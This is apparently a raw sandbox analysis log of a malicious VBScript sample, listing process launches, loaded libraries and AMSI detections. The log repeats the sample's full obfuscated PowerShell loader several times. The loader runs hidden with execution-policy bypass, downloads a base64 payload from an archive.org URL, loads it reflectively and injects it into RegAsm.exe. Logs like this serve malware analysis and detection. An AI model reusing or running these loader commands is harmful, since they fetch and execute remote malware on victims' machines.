
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2916:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2z0jdzt.y3b.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PofaABvatI.vbs

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSl", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
